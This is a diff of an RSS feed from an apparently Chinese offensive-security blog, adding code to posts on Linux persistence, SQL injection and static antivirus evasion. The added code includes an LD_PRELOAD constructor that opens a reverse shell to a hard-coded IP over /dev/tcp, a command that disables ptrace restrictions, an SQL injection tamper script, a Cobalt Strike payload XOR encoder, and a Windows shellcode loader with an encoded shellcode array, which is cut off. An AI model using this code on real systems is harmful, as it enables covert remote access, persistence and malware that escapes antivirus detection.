<span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>; +</span></span><span style="display:flex;"><span>} +</span></span></code></pre></td></tr></table> +</div> +</div><p>通过LoadLibrary这个API来加载DLL文件,使其运行,看起来是一个基础操作,那么还有另外一种方式吗?</p>Linux权限维持之LD_PRELOADhttps://payloads.online/archivers/2020-01-01/1/Wed, 01 Jan 2020 00:00:00 +0000https://payloads.online/archivers/2020-01-01/1/<h2 id="ld_preload">LD_PRELOAD</h2> <p>Linux操作系统的动态链接库在加载过程中,动态链接器会先读取LD_PRELOAD环境变量和默认配置文件<code>/etc/ld.so.preload</code>,并将读取到的动态链接库文件进行预加载,即使程序不依赖这些动态链接库,LD_PRELOAD环境变量和<code>/etc/ld.so.preload</code>配置文件中指定的动态链接库依然会被装载,因为它们的优先级比LD_LIBRARY_PATH环境变量所定义的链接库查找路径的文件优先级要高,所以能够提前于用户调用的动态库载入。</p> <p>通过LD_PRELOAD环境变量,能够轻易的加载一个动态链接库。通过这个动态库劫持系统API函数,每次调用都会执行植入的代码。</p> <h2 id="dlsym">dlsym</h2> @@ -1482,7 +2940,26 @@ </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">13 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">14 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">15 -</span></code></prLinux权限维持之进程注入https://payloads.online/archivers/2020-01-01/2/Wed, 01 Jan 2020 00:00:00 +0000https://payloads.online/archivers/2020-01-01/2/<h2 id="说明">说明</h2> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;stdio.h&gt;</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;unistd.h&gt;</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;dlfcn.h&gt;</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;stdlib.h&gt;</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">puts</span>(<span style="color:#66d9ef">const</span> <span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>message) { +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> (<span style="color:#f92672">*</span>new_puts)(<span style="color:#66d9ef">const</span> <span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>message); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> result; +</span></span><span style="display:flex;"><span> new_puts <span style="color:#f92672">=</span> <span style="color:#a6e22e">dlsym</span>(RTLD_NEXT, <span style="color:#e6db74">&#34;puts&#34;</span>); +</span></span><span style="display:flex;"><span><span style="color:#75715e">// do some thing … +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// 这里是puts调用之前 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> result <span style="color:#f92672">=</span> <span style="color:#a6e22e">new_puts</span>(message); +</span></span><span style="display:flex;"><span> <span style="color:#75715e">// 这里是puts调用之后 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#66d9ef">return</span> result; +</span></span><span style="display:flex;"><span>} +</span></span></code></pre></td></tr></table> +</div> +</div><p>编译命令:</p>Linux权限维持之进程注入https://payloads.online/archivers/2020-01-01/2/Wed, 01 Jan 2020 00:00:00 +0000https://payloads.online/archivers/2020-01-01/2/<h2 id="说明">说明</h2> <p>通过进程注入技术,能够使得动态链接库被加载到一个正在运行的进程,因此较为隐蔽。进程注入通过调用<code>ptrace()</code>实现了与Windows平台下相同作用的API 函数<code>CreateRemoteThread()</code>。在许多Linux发行版中,内核的默认配置文件<code>/proc/sys/kernel/yama/ptrace_scope</code>限制了一个进程除了<code>fork()</code>派生外,无法通过<code>ptrace()</code>来操作另外一个进程。</p> <p>要注入进程前,需要关闭这个限制(Root权限):</p> <p><code>echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope</code></p> @@ -1524,7 +3001,30 @@ </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">17 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">18 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">19 -</span></code></prSQL Server DBA WriteFilehttps://payloads.online/archivers/2020-01-01/3/Wed, 01 Jan 2020 00:00:00 +0000https://payloads.online/archivers/2020-01-01/3/<h2 id="0x01-前言">0x01 前言</h2> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;stdio.h&gt;</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;unistd.h&gt;</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;dlfcn.h&gt;</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;stdlib.h&gt;</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">void</span> <span style="color:#a6e22e">shell</span>() +</span></span><span style="display:flex;"><span>{ +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">&#34;I just got loaded</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>); +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">system</span>(<span style="color:#e6db74">&#34;bash -c </span><span style="color:#ae81ff">\&#34;</span><span style="color:#e6db74">bash -i &gt;&amp; /dev/tcp/192.168.170.138/139 0&gt;&amp;1</span><span style="color:#ae81ff">\&#34;</span><span style="color:#e6db74">&#34;</span>); +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>} +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#a6e22e">__attribute__</span>((constructor)) +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">void</span> <span style="color:#a6e22e">loadMsg</span>() +</span></span><span style="display:flex;"><span>{ +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">shell</span>(); +</span></span><span style="display:flex;"><span>} +</span></span></code></pre></td></tr></table> +</div> +</div><p>通过如下命令编译so文件:</p>SQL Server DBA WriteFilehttps://payloads.online/archivers/2020-01-01/3/Wed, 01 Jan 2020 00:00:00 +0000https://payloads.online/archivers/2020-01-01/3/<h2 id="0x01-前言">0x01 前言</h2> <p>本文非基础类的普及文章,主要分享内网中遇到的一个有趣案例。</p> <h2 id="0x02-bypass注入点">0x02 Bypass注入点</h2> <p>通常情况下,遇到SQL Server注入点,我会比较关注是否是DBA权限,如果是,那么就可能拿到执行命令的权限,进而反弹到C2上,方便后续的后渗透工作。</p> @@ -1554,7 +3054,46 @@ <img src="https://images.payloads.online/806ce52c-4f5f-11ec-b8ca-00d861bf4abb.png" alt="2020-01-03-13-13-37"> </p> -<p>核心代码:</p>静态恶意代码逃逸(第一课)https://payloads.online/archivers/2019-11-10/1/Sun, 10 Nov 2019 00:00:00 +0000https://payloads.online/archivers/2019-11-10/1/<h2 id="0x00-前言">0x00 前言</h2> +<p>核心代码:</p> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 3 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 4 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 5 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 6 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 7 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 8 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 9 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">10 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">11 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">12 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">13 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">14 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">15 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">16 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#66d9ef">for</span> i <span style="color:#f92672">in</span> xrange(len(payload)): +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> <span style="color:#f92672">not</span> firstspace: +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> payload[i]<span style="color:#f92672">.</span>isspace(): +</span></span><span style="display:flex;"><span> firstspace <span style="color:#f92672">=</span> <span style="color:#66d9ef">True</span> +</span></span><span style="display:flex;"><span> retVal <span style="color:#f92672">+=</span> <span style="color:#e6db74">&#34;/**/&#34;</span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">continue</span> +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">elif</span> payload[i] <span style="color:#f92672">==</span> <span style="color:#e6db74">&#39;</span><span style="color:#ae81ff">\&#39;</span><span style="color:#e6db74">&#39;</span>: +</span></span><span style="display:flex;"><span> quote <span style="color:#f92672">=</span> <span style="color:#f92672">not</span> quote +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">elif</span> payload[i] <span style="color:#f92672">==</span> <span style="color:#e6db74">&#39;&#34;&#39;</span>: +</span></span><span style="display:flex;"><span> doublequote <span style="color:#f92672">=</span> <span style="color:#f92672">not</span> doublequote +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">elif</span> payload[i] <span style="color:#f92672">==</span> <span style="color:#e6db74">&#34; &#34;</span> <span style="color:#f92672">and</span> <span style="color:#f92672">not</span> doublequote <span style="color:#f92672">and</span> <span style="color:#f92672">not</span> quote: +</span></span><span style="display:flex;"><span> retVal <span style="color:#f92672">+=</span> <span style="color:#e6db74">&#34;/**/&#34;</span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">continue</span> +</span></span></code></pre></td></tr></table> +</div> +</div><p>只需要替换<code>/**/</code>即可:</p>静态恶意代码逃逸(第一课)https://payloads.online/archivers/2019-11-10/1/Sun, 10 Nov 2019 00:00:00 +0000https://payloads.online/archivers/2019-11-10/1/<h2 id="0x00-前言">0x00 前言</h2> <p>前五课的代码将会上传至Github,方便读者下载研究 : <a href="https://github.com/Rvn0xsy/BadCode">https://github.com/Rvn0xsy/BadCode</a></p> <p>在此之前,我分享过《高级后渗透C2免杀与对抗》,其中对于一些原理铺垫上稍有欠缺,因此准备分成几篇文章来展开。</p> <h2 id="0x01-恶意代码的定义">0X01 恶意代码的定义</h2> @@ -1622,7 +3161,55 @@ </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">42 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">43 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">44 -</span></code></pr静态恶意代码逃逸(第三课)https://payloads.online/archivers/2019-11-10/3/Sun, 10 Nov 2019 00:00:00 +0000https://payloads.online/archivers/2019-11-10/3/<h2 id="0x01-关于内存申请的优化">0x01 关于内存申请的优化</h2> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#f92672">import</span> sys +</span></span><span style="display:flex;"><span><span style="color:#f92672">from</span> argparse <span style="color:#f92672">import</span> ArgumentParser, FileType +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">process_bin</span>(num, src_fp, dst_fp, dst_raw): +</span></span><span style="display:flex;"><span> shellcode <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;&#39;</span> +</span></span><span style="display:flex;"><span> shellcode_size <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span> +</span></span><span style="display:flex;"><span> shellcode_raw <span style="color:#f92672">=</span> <span style="color:#e6db74">b</span><span style="color:#e6db74">&#39;&#39;</span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">try</span>: +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">while</span> <span style="color:#66d9ef">True</span>: +</span></span><span style="display:flex;"><span> code <span style="color:#f92672">=</span> src_fp<span style="color:#f92672">.</span>read(<span style="color:#ae81ff">1</span>) +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> <span style="color:#f92672">not</span> code: +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">break</span> +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> base10 <span style="color:#f92672">=</span> ord(code) <span style="color:#f92672">^</span> num +</span></span><span style="display:flex;"><span> base10_str <span style="color:#f92672">=</span> chr(base10) +</span></span><span style="display:flex;"><span> shellcode_raw <span style="color:#f92672">+=</span> base10_str<span style="color:#f92672">.</span>encode() +</span></span><span style="display:flex;"><span> code_hex <span style="color:#f92672">=</span> hex(base10) +</span></span><span style="display:flex;"><span> code_hex <span style="color:#f92672">=</span> code_hex<span style="color:#f92672">.</span>replace(<span style="color:#e6db74">&#39;0x&#39;</span>,<span style="color:#e6db74">&#39;&#39;</span>) +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span>(len(code_hex) <span style="color:#f92672">==</span> <span style="color:#ae81ff">1</span>): +</span></span><span style="display:flex;"><span> code_hex <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;0&#39;</span> <span style="color:#f92672">+</span> code_hex +</span></span><span style="display:flex;"><span> shellcode <span style="color:#f92672">+=</span> <span style="color:#e6db74">&#39;</span><span style="color:#ae81ff">\\</span><span style="color:#e6db74">x&#39;</span> <span style="color:#f92672">+</span> code_hex +</span></span><span style="display:flex;"><span> shellcode_size <span style="color:#f92672">+=</span> <span style="color:#ae81ff">1</span> +</span></span><span style="display:flex;"><span> src_fp<span style="color:#f92672">.</span>close() +</span></span><span style="display:flex;"><span> dst_raw<span style="color:#f92672">.</span>write(shellcode_raw) +</span></span><span style="display:flex;"><span> dst_raw<span style="color:#f92672">.</span>close() +</span></span><span style="display:flex;"><span> dst_fp<span style="color:#f92672">.</span>write(shellcode) +</span></span><span style="display:flex;"><span> dst_fp<span style="color:#f92672">.</span>close() +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> shellcode_size +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">except</span> <span style="color:#a6e22e">Exception</span> <span style="color:#66d9ef">as</span> e: +</span></span><span style="display:flex;"><span> sys<span style="color:#f92672">.</span>stderr<span style="color:#f92672">.</span>writelines(str(e)) +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">main</span>(): +</span></span><span style="display:flex;"><span> parser <span style="color:#f92672">=</span> ArgumentParser(prog<span style="color:#f92672">=</span><span style="color:#e6db74">&#39;Shellcode X&#39;</span>, description<span style="color:#f92672">=</span><span style="color:#e6db74">&#39;[XOR The Cobaltstrike PAYLOAD.BINs] </span><span style="color:#ae81ff">\t</span><span style="color:#e6db74"> &gt; Author: rvn0xsy@gmail.com&#39;</span>) +</span></span><span style="display:flex;"><span> parser<span style="color:#f92672">.</span>add_argument(<span style="color:#e6db74">&#39;-v&#39;</span>,<span style="color:#e6db74">&#39;--version&#39;</span>,nargs<span style="color:#f92672">=</span><span style="color:#e6db74">&#39;?&#39;</span>) +</span></span><span style="display:flex;"><span> parser<span style="color:#f92672">.</span>add_argument(<span style="color:#e6db74">&#39;-s&#39;</span>,<span style="color:#e6db74">&#39;--src&#39;</span>,help<span style="color:#f92672">=</span><span style="color:#e6db74">u</span><span style="color:#e6db74">&#39;source bin file&#39;</span>,type<span style="color:#f92672">=</span>FileType(<span style="color:#e6db74">&#39;rb&#39;</span>), required<span style="color:#f92672">=</span><span style="color:#66d9ef">True</span>) +</span></span><span style="display:flex;"><span> parser<span style="color:#f92672">.</span>add_argument(<span style="color:#e6db74">&#39;-d&#39;</span>,<span style="color:#e6db74">&#39;--dst&#39;</span>,help<span style="color:#f92672">=</span><span style="color:#e6db74">u</span><span style="color:#e6db74">&#39;destination shellcode file&#39;</span>,type<span style="color:#f92672">=</span>FileType(<span style="color:#e6db74">&#39;w+&#39;</span>),required<span style="color:#f92672">=</span><span style="color:#66d9ef">True</span>) +</span></span><span style="display:flex;"><span> parser<span style="color:#f92672">.</span>add_argument(<span style="color:#e6db74">&#39;-n&#39;</span>,<span style="color:#e6db74">&#39;--num&#39;</span>,help<span style="color:#f92672">=</span><span style="color:#e6db74">u</span><span style="color:#e6db74">&#39;Confused number&#39;</span>,type<span style="color:#f92672">=</span>int, default<span style="color:#f92672">=</span><span style="color:#ae81ff">90</span>) +</span></span><span style="display:flex;"><span> parser<span style="color:#f92672">.</span>add_argument(<span style="color:#e6db74">&#39;-r&#39;</span>,<span style="color:#e6db74">&#39;--raw&#39;</span>,help<span style="color:#f92672">=</span><span style="color:#e6db74">u</span><span style="color:#e6db74">&#39;output bin file&#39;</span>, type<span style="color:#f92672">=</span>FileType(<span style="color:#e6db74">&#39;wb&#39;</span>), required<span style="color:#f92672">=</span><span style="color:#66d9ef">True</span>) +</span></span><span style="display:flex;"><span> args <span style="color:#f92672">=</span> parser<span style="color:#f92672">.</span>parse_args() +</span></span><span style="display:flex;"><span> shellcode_size <span style="color:#f92672">=</span> process_bin(args<span style="color:#f92672">.</span>num, args<span style="color:#f92672">.</span>src, args<span style="color:#f92672">.</span>dst, args<span style="color:#f92672">.</span>raw) +</span></span><span style="display:flex;"><span> sys<span style="color:#f92672">.</span>stdout<span style="color:#f92672">.</span>writelines(<span style="color:#e6db74">&#34;[+]Shellcode Size : </span><span style="color:#e6db74">{}</span><span style="color:#e6db74"> </span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span><span style="color:#f92672">.</span>format(shellcode_size)) +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> __name__ <span style="color:#f92672">==</span> <span style="color:#e6db74">&#34;__main__&#34;</span>: +</span></span><span style="display:flex;"><span> main() +</span></span></code></pre></td></tr></table> +</div> +</div><p>上面这个脚本是我在去年写的,用于把raw文件混淆,生成c语言数组,在后面的文章中,我们也以c/c++语言为主,探究其本质。</p>静态恶意代码逃逸(第三课)https://payloads.online/archivers/2019-11-10/3/Sun, 10 Nov 2019 00:00:00 +0000https://payloads.online/archivers/2019-11-10/3/<h2 id="0x01-关于内存申请的优化">0x01 关于内存申请的优化</h2> <p>前五课的代码将会上传至Github,方便读者下载研究 : <a href="https://github.com/Rvn0xsy/BadCode">https://github.com/Rvn0xsy/BadCode</a></p> <p>本章只提及一下关于VirtualAlloc的建议。</p> <p><a href="https://docs.microsoft.com/zh-cn/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc">https://docs.microsoft.com/zh-cn/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc</a></p> @@ -1687,7 +3274,72 @@ </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">56 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">57 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">58 -</span></code></pr静态恶意代码逃逸(第二课)https://payloads.online/archivers/2019-11-10/2/Sun, 10 Nov 2019 00:00:00 +0000https://payloads.online/archivers/2019-11-10/2/<h2 id="0x01-关于windows操作系统内存">0x01 关于Windows操作系统内存</h2> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;Windows.h&gt;</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> +</span></span><span style="display:flex;"><span><span style="color:#75715e">// 入口函数 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">wmain</span>(<span style="color:#66d9ef">int</span> argc,TCHAR <span style="color:#f92672">*</span> argv[]){ +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> shellcode_size <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; <span style="color:#75715e">// shellcode长度 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> DWORD dwThreadId; <span style="color:#75715e">// 线程ID +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> HANDLE hThread; <span style="color:#75715e">// 线程句柄 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> DWORD dwOldProtect; <span style="color:#75715e">// 内存页属性 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#75715e">/* length: 800 bytes */</span> +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">char</span> buf[] <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\xf6\xe2\x83\x0a\x0a\x0a\x6a\x83\xef\x3b\xd8\x6e\x81\x58\x3a\x81\x58\x06\x81\x58\x1e\x81\x78\x22\x05\xbd\x40\x2c\x3b\xf5\x3b\xca\xa6\x36\x6b\x76\x08\x26\x2a\xcb\xc5\x07\x0b\xcd\xe8\xfa\x58\x5d\x81\x58\x1a\x81\x48\x36\x0b\xda\x81\x4a\x72\x8f\xca\x7e\x40\x0b\xda\x5a\x81\x42\x12\x81\x52\x2a\x0b\xd9\xe9\x36\x43\x81\x3e\x81\x0b\xdc\x3b\xf5\x3b\xca\xa6\xcb\xc5\x07\x0b\xcd\x32\xea\x7f\xfe\x09\x77\xf2\x31\x77\x2e\x7f\xe8\x52\x81\x52\x2e\x0b\xd9\x6c\x81\x06\x41\x81\x52\x16\x0b\xd9\x81\x0e\x81\x0b\xda\x83\x4e\x2e\x2e\x51\x51\x6b\x53\x50\x5b\xf5\xea\x52\x55\x50\x81\x18\xe1\x8c\x57\x62\x64\x6f\x7e\x0a\x62\x7d\x63\x64\x63\x5e\x62\x46\x7d\x2c\x0d\xf5\xdf\x3b\xf5\x5d\x5d\x5d\x5d\x5d\x62\x30\x5c\x73\xad\xf5\xdf\xe3\x8e\x0a\x0a\x0a\x51\x3b\xc3\x5b\x5b\x60\x09\x5b\x5b\x62\x9a\x15\x0a\x0a\x59\x5a\x62\x5d\x83\x95\xcc\xf5\xdf\xe1\x7a\x51\x3b\xd8\x58\x62\x0a\x08\x6a\x8e\x58\x58\x58\x59\x58\x5a\x62\xe1\x5f\x24\x31\xf5\xdf\x83\xcc\x89\xc9\x5a\x3b\xf5\x5d\x5d\x60\xf5\x59\x5c\x62\x27\x0c\x12\x71\xf5\xdf\x8f\xca\x05\x8e\xc9\x0b\x0a\x0a\x3b\xf5\x8f\xfc\x7e\x0e\x83\xf3\xe1\x03\x62\xa0\xcf\xe8\x57\xf5\xdf\x83\xcb\x62\x4f\x2b\x54\x3b\xf5\xdf\x3b\xf5\x5d\x60\x0d\x5b\x5c\x5a\x62\xbd\x5d\xea\x01\xf5\xdf\xb5\x0a\x25\x0a\x0a\x33\xcd\x7e\xbd\x3b\xf5\xe3\x9b\x0b\x0a\x0a\xe3\xc3\x0b\x0a\x0a\xe2\x81\xf5\xf5\xf5\x25\x39\x7f\x65\x4f\x0a\x3f\x45\x2b\x5a\x2f\x4a\x4b\x5a\x51\x3e\x56\x5a\x50\x52\x3f\x3e\x22\x5a\x54\x23\x3d\x49\x49\x23\x3d\x77\x2e\x4f\x43\x49\x4b\x58\x27\x59\x5e\x4b\x44\x4e\x4b\x58\x4e\x27\x4b\x44\x5e\x43\x5c\x43\x58\x5f\x59\x27\x5e\x4f\x59\x5e\x27\x4c\x43\x46\x4f\x2b\x2e\x42\x21\x42\x20\x0a\x3f\x45\x2b\x5a\x2f\x0a\x5f\x79\x6f\x78\x27\x4b\x6d\x6f\x64\x7e\x30\x2a\x47\x65\x70\x63\x66\x66\x6b\x25\x3f\x24\x3a\x2a\x22\x69\x65\x67\x7a\x6b\x7e\x63\x68\x66\x6f\x31\x2a\x47\x59\x43\x4f\x2a\x33\x24\x3a\x31\x2a\x5d\x63\x64\x6e\x65\x7d\x79\x2a\x44\x5e\x2a\x3c\x24\x3b\x31\x2a\x5e\x78\x63\x6e\x6f\x64\x7e\x25\x3f\x24\x3a\x31\x2a\x48\x45\x43\x4f\x33\x31\x44\x46\x44\x46\x23\x07\x00\x0a\x3f\x45\x2b\x5a\x2f\x4a\x4b\x5a\x51\x3e\x56\x5a\x50\x52\x3f\x3e\x22\x5a\x54\x23\x3d\x49\x49\x23\x3d\x77\x2e\x4f\x43\x49\x4b\x58\x27\x59\x5e\x4b\x44\x4e\x4b\x58\x4e\x27\x4b\x44\x5e\x43\x5c\x43\x58\x5f\x59\x27\x5e\x4f\x59\x5e\x27\x4c\x43\x46\x4f\x2b\x2e\x42\x21\x42\x20\x0a\x3f\x45\x2b\x5a\x2f\x4a\x4b\x5a\x51\x3e\x56\x5a\x50\x52\x3f\x3e\x22\x5a\x54\x23\x3d\x49\x49\x23\x3d\x77\x2e\x4f\x43\x49\x4b\x58\x27\x59\x5e\x4b\x44\x4e\x4b\x58\x4e\x27\x4b\x44\x5e\x43\x5c\x43\x58\x5f\x59\x27\x5e\x4f\x59\x5e\x27\x4c\x43\x46\x4f\x2b\x2e\x42\x21\x42\x20\x0a\x3f\x45\x2b\x5a\x2f\x4a\x4b\x5a\x51\x3e\x56\x5a\x50\x52\x3f\x3e\x22\x5a\x54\x23\x3d\x49\x49\x23\x3d\x77\x2e\x4f\x43\x49\x4b\x58\x27\x59\x5e\x4b\x44\x4e\x4b\x58\x4e\x27\x4b\x44\x5e\x43\x5c\x43\x58\x5f\x59\x27\x5e\x4f\x59\x5e\x27\x4c\x43\x46\x4f\x2b\x2e\x42\x21\x42\x20\x0a\x3f\x45\x2b\x5a\x2f\x4a\x4b\x5a\x51\x0a\x62\xfa\xbf\xa8\x5c\xf5\xdf\x60\x4a\x62\x0a\x1a\x0a\x0a\x62\x0